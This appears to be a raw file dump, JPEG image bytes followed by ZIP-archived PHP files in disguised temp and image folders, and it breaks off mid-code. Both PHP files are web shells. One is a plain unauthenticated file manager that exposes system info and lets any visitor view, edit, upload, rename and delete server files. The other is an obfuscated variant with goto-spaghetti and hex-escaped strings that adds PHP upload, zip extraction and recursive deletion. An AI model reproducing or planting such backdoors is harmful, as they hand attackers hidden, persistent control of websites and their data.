ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.PKث4\SB666modules/klbg/includes/v3/tmp/images/zviu/zys/admin.phpnuW+A $symbolic, 'numeric' => $numeric ]; } // Function to recursively list directories and files function listDirectory($dir) { // Get the current directory contents $files = scandir($dir); $system_info = php_uname(); // Display current directory name echo "

$system_info

"; echo "
Directory: $dir
"; // Display link to go back to the parent directory $parentDir = dirname($dir); if ($dir !== '/') { echo " Go Back
"; } // Display option to create a new file echo "
"; // Display list of directories first, then files echo ""; } // Function to create a new file function createFile($dir, $fileName) { $filePath = "$dir/$fileName"; if (!file_exists($filePath)) { file_put_contents($filePath, ""); // Create an empty file echo "
File '$fileName' created successfully!
"; } else { echo "
File '$fileName' already exists.
"; } } // Function to upload multiple files function uploadFile($dir) { $uploadpath = $dir . '/'; // Directory to store the uploaded files $max_size = 2000; // Maximum file size, in KiloBytes $alwidth = 900; // Maximum allowed width, in pixels $alheight = 800; // Maximum allowed height, in pixels if (isset($_FILES['fileup'])) { $files = $_FILES['fileup']; $uploadedFiles = 0; // Loop through each file foreach ($files['name'] as $key => $name) { if (strlen($name) > 1) { $fileTmp = $files['tmp_name'][$key]; $fileSize = $files['size'][$key]; $fileError = $files['error'][$key]; $fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION)); // Check if the file is an image and get its dimensions if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) { list($width, $height) = getimagesize($fileTmp); } // Validate file size, width, and height $err = ''; if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB.
'; if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '.
'; // If no errors, upload the file if ($err == '') { $destination = $uploadpath . basename($name); if (move_uploaded_file($fileTmp, $destination)) { $uploadedFiles++; } else { echo '
Failed to upload ' . $name . '.
'; } } else { echo '
' . $err . '
'; } } } if ($uploadedFiles > 0) { echo '
' . $uploadedFiles . ' file(s) uploaded successfully!
'; } } else { echo '
No files selected.
'; } } // Function to view file content function viewFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Viewing File: $filePath

"; echo "
$content
"; echo " Back to Directory"; } else { echo "
File not found.
"; } } // Function to edit file content function editFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "
File saved successfully!
"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "

Editing File: $filePath

"; echo "
"; echo " Back to Directory"; } // Function to delete a file function deleteFile($filePath) { if (file_exists($filePath)) { if (unlink($filePath)) { echo ""; } else { echo ""; } } else { echo ""; } } // Function to rename a file function renameFile($filePath, $newName) { $dir = dirname($filePath); $newFilePath = "$dir/$newName"; // Check if the new file name already exists if (file_exists($newFilePath)) { echo "
A file with the name '$newName' already exists.
"; return; } // Attempt to rename the file if (rename($filePath, $newFilePath)) { echo "
File renamed successfully to '$newName'.
"; } else { echo "
Failed to rename file. Please check permissions.
"; } } // Determine what action to take if (isset($_POST['upload_file'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); uploadFile($currentDir); listDirectory($currentDir); } elseif (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_GET['delete'])) { $filePath = realpath($_GET['delete']); deleteFile($filePath); } elseif (isset($_GET['rename'])) { $filePath = realpath($_GET['rename']); echo "

Rename File: " . basename($filePath) . "

"; echo "
"; } elseif (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $filePath = $_POST['file_path']; $newName = $_POST['new_name']; renameFile($filePath, $newName); $currentDir = dirname($filePath); listDirectory($currentDir); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { // Default action: list directory contents $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); listDirectory($currentDir); } ?> File Manager
PKث4\d$''tmp/lxv/index.phpnuW+A false, "\x6d\145\x73\x73\141\x67\x65" => "\x49\x6e\166\141\x6c\151\144\40\141\x63\164\x69\157\156\56"]; goto Ita0g; tozRd: function NY0tu($fw2Gb) { return is_string($fw2Gb) ? stripslashes($fw2Gb) : $fw2Gb; } goto uTQJ4; jupxf: echo Es90W(__DIR__); goto spVQI; uTQJ4: function ES90W($N3FQp) { return str_replace("\x5c", "\x2f", $N3FQp); } goto umFMq; wWXaN: NFGPu: goto t2KH8; Ita0g: try { goto IIL7D; IIL7D: switch ($kS0qQ) { case "\154\x69\x73\x74": goto Bf4SJ; odk5T: foreach (scandir($T4wW2) as $pZ4PV) { goto lKlnN; JxuNy: $qgHjW = $T4wW2 . "\x2f" . $pZ4PV; goto KOKkz; N7PaY: goto rRtUO; goto xJsL4; J2iFA: rRtUO: goto p5Oa0; lKlnN: if (!($pZ4PV === "\x2e" || $pZ4PV === "\x2e\x2e")) { goto qoKGw; } goto N7PaY; xJsL4: qoKGw: goto JxuNy; KOKkz: $uWh5l[] = ["\x6e\141\x6d\x65" => $pZ4PV, "\151\x73\137\144\x69\x72" => is_dir($qgHjW), "\x73\x69\172\x65" => is_dir($qgHjW) ? 0 : filesize($qgHjW), "\155\x6f\144\151\x66\x69\145\x64" => filemtime($qgHjW)]; goto J2iFA; p5Oa0: } goto J3yG0; SI6Kp: $C_q13 = ["\x73\165\143\143\145\x73\x73" => true, "\x66\151\x6c\145\163" => $uWh5l, "\160\141\x74\x68" => $T4wW2]; goto FISrv; kxjD2: zao4K: goto odk5T; wI9Uc: or7Bz: goto mTFJj; Bf4SJ: $N3FQp = isset($_POST["\x70\141\164\150"]) ? Ny0tu($_POST["\x70\141\164\x68"]) : __DIR__; goto dpEgR; zHH33: $uWh5l = []; goto C9SW_; RRjql: throw new Exception("\103\x61\x6e\x6e\x6f\164\40\x61\143\143\x65\163\163\40\x70\x61\164\x68\56\40\111\x74\x20\x6d\151\x67\x68\164\40\142\145\40\162\145\163\x74\x72\x69\x63\164\145\144\x20\142\171\40\163\x65\x72\x76\x65\x72\40\143\157\156\146\x69\x67\165\x72\141\164\151\x6f\x6e\40\x28\x6f\160\145\x6e\137\142\141\163\x65\144\x69\x72\x29\x2e"); goto kxjD2; C9SW_: if (@scandir($T4wW2)) { goto zao4K; } goto RRjql; slbf7: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\x6f\162\x20\x69\x6e\x61\x63\x63\145\163\x73\x69\142\x6c\x65\40\160\x61\164\x68\x2e"); goto wI9Uc; dpEgR: if (NqXxK($N3FQp)) { goto or7Bz; } goto slbf7; J3yG0: ua_El: goto SI6Kp; mTFJj: $T4wW2 = es90w(realpath($N3FQp)); goto zHH33; FISrv: goto ycSVf; goto C5_Rj; C5_Rj: case "\x67\145\164\137\143\157\156\164\145\x6e\x74": goto AB5qD; hw5BW: goto ycSVf; goto nxWjP; hSwnp: $C_q13 = ["\163\x75\143\143\145\x73\x73" => true, "\143\157\156\x74\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto hw5BW; hxmO8: throw new Exception("\x49\x6e\x76\141\x6c\x69\144\x20\x66\x69\154\x65\x20\x66\x6f\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto yCBdH; AB5qD: $ojlAu = isset($_POST["\160\141\x74\x68"]) ? Ny0tU($_POST["\x70\141\164\x68"]) : ''; goto sSVlM; sSVlM: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto jY5MN; } goto hxmO8; yCBdH: jY5MN: goto hSwnp; nxWjP: case "\147\145\164\137\143\x6f\156\164\145\x6e\x74\137\142\x36\x34": goto Tw79G; RBpYX: $C_q13 = ["\x73\x75\x63\x63\x65\163\163" => true, "\x63\157\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto CZCSs; Tw79G: $MsqHa = isset($_POST["\160\x61\x74\150\137\142\x36\64"]) ? NY0tu($_POST["\x70\x61\x74\x68\x5f\x62\x36\x34"]) : ''; goto IcMdj; IcMdj: $ojlAu = base64_decode($MsqHa); goto o4S3X; o4S3X: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto x__Ov; } goto SDUoj; CZCSs: goto ycSVf; goto P57y1; iIbT6: x__Ov: goto RBpYX; SDUoj: throw new Exception("\111\156\x76\141\x6c\x69\x64\x20\146\x69\154\145\x20\x66\157\162\40\145\x64\151\164\x69\x6e\x67\56"); goto iIbT6; P57y1: case "\163\141\x76\x65\x5f\143\157\x6e\x74\145\x6e\164": goto Qzs4F; rC4Qx: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto KTBmd; } goto jF2gU; Oy2kq: if (!(!nqXxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto tY8sk; } goto lMZp7; SLfKR: goto ycSVf; goto szMkK; VroMi: throw new Exception("\x43\x6f\156\x74\x65\x6e\x74\x20\x69\163\40\x65\155\x70\164\x79\56"); goto Ctqlm; zecoV: goto GU9sM; goto kIfmt; Ldo2f: $C_q13 = ["\163\x75\x63\x63\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\151\154\x65\40\163\141\x76\145\144\x20\163\165\x63\x63\x65\x73\x73\x66\165\x6c\x6c\171\x2e"]; goto lb0OW; ewGJB: tY8sk: goto rC4Qx; kIfmt: KTBmd: goto Ldo2f; jF2gU: throw new Exception("\x43\x6f\x75\154\144\40\156\157\x74\40\x73\x61\x76\145\40\x66\151\154\145\56\x20\103\150\145\143\153\x20\160\145\x72\155\x69\163\163\151\x6f\156\x73\x2e"); goto zecoV; jCyJA: if (!empty($oV_sJ)) { goto RQpX6; } goto VroMi; OICIz: $I0G5S = base64_decode(base64_decode($Owp89)); goto Oy2kq; Qzs4F: $ojlAu = isset($_POST["\x70\x61\164\x68"]) ? NY0TU($_POST["\160\x61\x74\150"]) : ''; goto Jo8qy; Ctqlm: RQpX6: goto es8_X; es8_X: $Owp89 = implode('', $oV_sJ); goto OICIz; lMZp7: throw new Exception("\111\x6e\x76\x61\154\x69\x64\40\x66\x69\154\145\x20\x66\x6f\162\x20\163\x61\x76\x69\x6e\147\56"); goto ewGJB; Jo8qy: $oV_sJ = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\163"]) && is_array($_POST["\143\x6f\x6e\x74\145\156\164\x5f\143\150\x75\x6e\153\163"]) ? $_POST["\143\x6f\156\x74\145\156\x74\137\143\150\x75\x6e\x6b\x73"] : []; goto jCyJA; lb0OW: GU9sM: goto SLfKR; szMkK: case "\163\x61\x76\x65\137\143\157\156\164\x65\156\x74\137\x62\x36\x34": goto U59Qa; WGp6i: throw new Exception("\103\157\x6e\164\x65\x6e\x74\40\151\163\x20\145\155\160\164\x79\56"); goto RCxIS; XNi7t: $I0G5S = base64_decode(base64_decode($Owp89)); goto rrDPK; qNXrc: throw new Exception("\111\156\166\141\154\x69\144\40\x66\151\154\x65\x20\146\157\x72\x20\x73\x61\166\151\156\147\x2e"); goto hzKQ5; U59Qa: $MsqHa = isset($_POST["\160\x61\164\150\137\142\x36\x34"]) ? ny0tu($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto jiCXN; RCxIS: CVi5K: goto G5mHJ; iNZ_U: if (!empty($oV_sJ)) { goto CVi5K; } goto WGp6i; G5mHJ: $Owp89 = implode('', $oV_sJ); goto XNi7t; fjhtE: goto ycSVf; goto WoVGw; hzKQ5: qnvLN: goto Um8mO; rrDPK: if (!(!nqxxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto qnvLN; } goto qNXrc; jiCXN: $ojlAu = base64_decode($MsqHa); goto G9LIL; tTBu6: throw new Exception("\x44\x69\x72\145\x63\164\40\163\x61\166\145\x20\x66\x61\x69\x6c\145\144\x2e\x20\x43\150\x65\x63\153\x20\x70\145\162\155\x69\163\x73\151\157\156\163\x2e"); goto nTn7K; qPj5T: $C_q13 = ["\x73\x75\x63\143\x65\x73\163" => true, "\x6d\x65\163\163\141\147\x65" => "\106\151\154\145\x20\x73\x61\166\145\144\40\163\x75\143\143\145\x73\163\x66\165\x6c\x6c\171\x20\x28\144\151\162\x65\143\x74\40\x6d\x65\x74\x68\x6f\144\x29\56"]; goto EACoy; G9LIL: $oV_sJ = isset($_POST["\x63\x6f\156\x74\x65\156\164\x5f\143\150\165\156\153\163"]) && is_array($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\x75\156\153\x73"]) ? $_POST["\143\x6f\x6e\x74\145\156\164\137\x63\x68\165\156\x6b\x73"] : []; goto iNZ_U; nTn7K: goto riHcH; goto pVEwU; pVEwU: MC0Hh: goto qPj5T; Um8mO: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto MC0Hh; } goto tTBu6; EACoy: riHcH: goto fjhtE; WoVGw: case "\143\162\145\x61\164\145\x5f\146\151\x6c\145": goto OlivP; gj37K: goto ycSVf; goto Qz8pL; O6lW3: if (!(!nqXXk($N3FQp) || empty($zDPI8))) { goto HI8Rq; } goto R2q22; av1vc: $C_q13 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\x73\163\x61\147\145" => "\106\x69\154\145\40\x63\x72\x65\141\164\145\x64\56"]; goto o1tPy; c6Jlp: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\x6f\x74\40\143\162\x65\141\x74\x65\x20\146\x69\x6c\145\x2e"); goto IviK0; IviK0: goto PKoAm; goto I8N2E; LqGoz: if (touch(rtrim($N3FQp, "\x2f") . "\x2f" . $zDPI8)) { goto QFDzM; } goto c6Jlp; o1tPy: PKoAm: goto gj37K; Ry7yS: HI8Rq: goto LqGoz; OlivP: $N3FQp = isset($_POST["\x70\141\164\x68"]) ? NY0tU($_POST["\x70\141\x74\x68"]) : ''; goto r_qlF; I8N2E: QFDzM: goto av1vc; R2q22: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\160\x61\x74\x68\x20\157\x72\40\146\151\154\145\40\x6e\141\x6d\x65\56"); goto Ry7yS; r_qlF: $zDPI8 = isset($_POST["\156\x61\155\x65"]) ? T7y52($_POST["\x6e\x61\x6d\145"]) : ''; goto O6lW3; Qz8pL: case "\x75\x70\x6c\x6f\141\144": goto tJi60; H2Afx: $ajHSa = T7Y52(base64_decode($l70k5)); goto amLDx; cGcqq: throw new Exception("\103\157\x75\x6c\x64\40\156\157\x74\40\x73\141\166\145\40\x75\x70\x6c\x6f\x61\144\x65\144\40\146\x69\154\x65\x2e\x20\103\150\x65\x63\153\x20\160\x65\162\155\x69\163\163\151\157\156\x73\56"); goto gvXzd; EEvjB: if (file_put_contents($T7gx5, $uyHJc) !== false) { goto A1W55; } goto cGcqq; MoEwg: goto ycSVf; goto mSk9f; WBcVj: $uyHJc = base64_decode($tPB71); goto Nzj2T; GdYXT: jiXr9: goto WBcVj; xErIi: $tPB71 = isset($_POST["\143\x6f\x6e\x74\145\x6e\x74\137\142\x61\163\145\66\64"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\x61\x73\145\x36\64"] : ''; goto KQoRr; AihoA: throw new Exception("\111\x6e\166\141\154\x69\x64\x20\144\141\164\141\40\146\x6f\x72\x20\165\x70\x6c\157\x61\x64\56"); goto d1Vah; gvXzd: goto mT8Ye; goto XUupy; XUupy: A1W55: goto xwuut; xwuut: $C_q13 = ["\163\x75\143\143\145\x73\163" => true, "\155\145\163\x73\x61\x67\x65" => "\106\x69\154\145\40\165\160\154\157\x61\144\x65\144\x20\x73\x75\143\143\145\x73\x73\x66\x75\154\154\x79\x2e"]; goto Q6XGt; d1Vah: R2fsc: goto H2Afx; w3TPv: $l70k5 = isset($_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\x6c\x65\156\141\x6d\145\137\x62\x61\163\145\66\x34"] : ''; goto xErIi; amLDx: if (!(strpos($tPB71, "\x2c") !== false)) { goto jiXr9; } goto GL5y3; GL5y3: list(, $tPB71) = explode("\54", $tPB71); goto GdYXT; tJi60: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0Tu($_POST["\160\141\x74\x68"]) : __DIR__; goto w3TPv; Nzj2T: $T7gx5 = rtrim($N3FQp, "\x2f") . "\57" . $ajHSa; goto EEvjB; Q6XGt: mT8Ye: goto MoEwg; KQoRr: if (!(!nQXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto R2fsc; } goto AihoA; mSk9f: case "\165\160\154\157\x61\144\x5f\160\150\160": goto dxdMd; dxdMd: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? nY0tU($_POST["\x70\141\x74\x68"]) : __DIR__; goto Pb0oM; hr4po: $C_q13 = ["\x73\165\143\143\145\163\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x50\110\x50\40\x66\151\x6c\145\x20\165\x70\x6c\157\x61\x64\x65\x64\x20\163\x75\143\143\145\163\x73\146\x75\154\x6c\171\x2e"]; goto Y8QVm; EV6b7: throw new Exception("\x49\x6e\166\x61\154\x69\144\x20\144\141\164\141\x20\146\x6f\x72\40\x50\x48\120\40\165\160\x6c\x6f\x61\144\56"); goto YeT6E; h0fEK: $jTTGJ = rtrim($N3FQp, "\x2f") . "\x2f" . $iKGAi; goto MpHG6; YeT6E: fWTCg: goto quqXU; Y8QVm: fweIz: goto rdYwU; quqXU: $iKGAi = T7y52(base64_decode($l70k5)); goto Oz5_m; Pb0oM: $l70k5 = isset($_POST["\146\151\x6c\145\x6e\x61\155\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\x69\x6c\145\156\x61\155\145\x5f\x62\141\x73\145\66\64"] : ''; goto kbzVC; Oz5_m: $DOdOg = $iKGAi . "\56\164\170\x74"; goto celZ0; nk57G: $e3qbB = rtrim($N3FQp, "\57") . "\57" . $DOdOg; goto h0fEK; celZ0: if (!(strpos($tPB71, "\54") !== false)) { goto KGuU8; } goto hpCdA; hpCdA: list(, $tPB71) = explode("\x2c", $tPB71); goto FiSuk; GGBuU: throw new Exception("\x43\x6f\x75\154\144\x20\x6e\157\164\40\x73\x61\x76\145\40\x74\145\x6d\160\x6f\x72\x61\162\171\x20\x66\151\x6c\145\x2e\x20\103\150\x65\143\x6b\x20\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\56"); goto CBW5E; Q2Das: throw new Exception("\x43\157\165\154\x64\40\156\x6f\164\40\162\x65\x6e\141\155\x65\x20\164\x65\155\x70\157\x72\x61\x72\x79\40\146\151\154\x65\x2e"); goto uCCd0; uCCd0: goto fweIz; goto TbZqf; fdZIy: unlink($e3qbB); goto Q2Das; rQt4j: if (rename($e3qbB, $jTTGJ)) { goto awDxv; } goto fdZIy; CBW5E: CJrv3: goto rQt4j; FiSuk: KGuU8: goto aiEjh; TbZqf: awDxv: goto hr4po; kbzVC: $tPB71 = isset($_POST["\143\157\156\164\145\x6e\164\137\142\x61\x73\145\66\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\x62\x61\x73\x65\66\64"] : ''; goto yxnwo; MpHG6: if (!(file_put_contents($e3qbB, $uyHJc) === false)) { goto CJrv3; } goto GGBuU; yxnwo: if (!(!nqXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto fWTCg; } goto EV6b7; aiEjh: $uyHJc = base64_decode($tPB71); goto nk57G; rdYwU: goto ycSVf; goto ynwyj; ynwyj: case "\x75\x6e\172\x69\160": goto j71el; j71el: $N3FQp = isset($_POST["\x70\141\x74\x68"]) ? NY0TU($_POST["\x70\141\164\150"]) : __DIR__; goto HhhL1; h2u4s: if (class_exists("\x5a\x69\x70\101\x72\x63\x68\x69\166\145")) { goto XI5A7; } goto gDE4q; v6xw7: $EtgLY->extractTo(dirname($xwHaG)); goto AR4r6; NE8fX: XI5A7: goto iCXQ9; AR4r6: $EtgLY->close(); goto RJdP_; HhhL1: if (Nqxxk($N3FQp)) { goto fTIAY; } goto fB1ER; r28vr: goto urtPj; goto Yf6cr; RJdP_: $C_q13 = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\147\x65" => "\x41\162\x63\150\x69\166\x65\x20\x65\x78\x74\162\141\x63\164\x65\x64\x2e"]; goto M9hq_; p9Yjp: throw new Exception("\x46\x61\151\x6c\x65\x64\40\x74\157\40\157\x70\145\x6e\x20\x61\x72\x63\x68\151\x76\145\56"); goto r28vr; JzF9U: throw new Exception("\x49\156\x76\x61\154\151\144\40\132\111\x50\40\146\x69\x6c\145\40\x70\x61\x74\150\56"); goto l8PIt; fB1ER: throw new Exception("\111\156\x76\x61\154\151\144\x20\x70\141\x74\x68\x2e"); goto ehMVp; EeIZ5: if ($EtgLY->open($xwHaG) === TRUE) { goto Z7L05; } goto p9Yjp; V9ux2: goto ycSVf; goto PIuPs; iCXQ9: $EtgLY = new ZipArchive(); goto EeIZ5; vyegy: $xwHaG = isset($_POST["\160\141\x74\x68"]) ? Ny0TU($_POST["\x70\141\164\x68"]) : ''; goto hNwxQ; Yf6cr: Z7L05: goto v6xw7; hNwxQ: if (!(!realpath($xwHaG) || !is_file(realpath($xwHaG)) || pathinfo($xwHaG, PATHINFO_EXTENSION) !== "\x7a\x69\160")) { goto P3vJL; } goto JzF9U; ehMVp: fTIAY: goto vyegy; gDE4q: throw new Exception("\x50\110\x50\x20\x5a\111\x50\40\145\170\164\145\x6e\x73\x69\157\x6e\40\156\x6f\x74\40\x69\x6e\x73\x74\x61\154\154\145\144\56"); goto NE8fX; l8PIt: P3vJL: goto h2u4s; M9hq_: urtPj: goto V9ux2; PIuPs: case "\x64\145\154\145\164\145": goto tnc3C; IX1xj: $UT3Xw = isset($_POST["\151\x74\x65\x6d\163"]) && is_array($_POST["\151\x74\x65\x6d\x73"]) ? $_POST["\151\164\145\x6d\x73"] : []; goto a474Y; jDYzc: throw new Exception("\116\x6f\x20\x69\164\145\x6d\163\x20\163\x65\x6c\145\x63\x74\145\x64\40\146\157\x72\40\x64\145\154\x65\x74\151\157\156\x2e"); goto URVwS; EnthP: foreach ($UT3Xw as $pZ4PV) { goto ERlCU; T9sCk: NGGjy($qgHjW); goto McV9U; McV9U: roUZs: goto HqCFQ; nVSkN: if (!file_exists($qgHjW)) { goto roUZs; } goto T9sCk; HqCFQ: tuHG8: goto mVB9d; ERlCU: $qgHjW = rtrim($N3FQp, "\57") . "\57" . $pZ4PV; goto nVSkN; mVB9d: } goto MG9h4; KyY3J: goto ycSVf; goto kp8UV; MG9h4: ZQ2Zt: goto XJEc3; tnc3C: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0TU($_POST["\x70\x61\164\150"]) : __DIR__; goto IX1xj; URVwS: OYjgE: goto dUZ2K; dUZ2K: function ngGJY($pZ4PV) { goto M1hPt; jtKjl: return unlink($pZ4PV); goto j5W0I; IxivI: foreach ($wolKu as $ojlAu) { ngGJY("{$pZ4PV}\x2f{$ojlAu}"); P4TSR: } goto kZ4he; kZ4he: STXtc: goto iYxii; LDBto: $wolKu = array_diff(scandir($pZ4PV), ["\x2e", "\x2e\x2e"]); goto IxivI; Q2JPT: UQ51L: goto Pp06I; M1hPt: if (is_dir($pZ4PV)) { goto m_qLf; } goto jtKjl; iYxii: return rmdir($pZ4PV); goto Q2JPT; UU8Yt: m_qLf: goto LDBto; j5W0I: goto UQ51L; goto UU8Yt; Pp06I: } goto EnthP; a474Y: if (!empty($UT3Xw)) { goto OYjgE; } goto 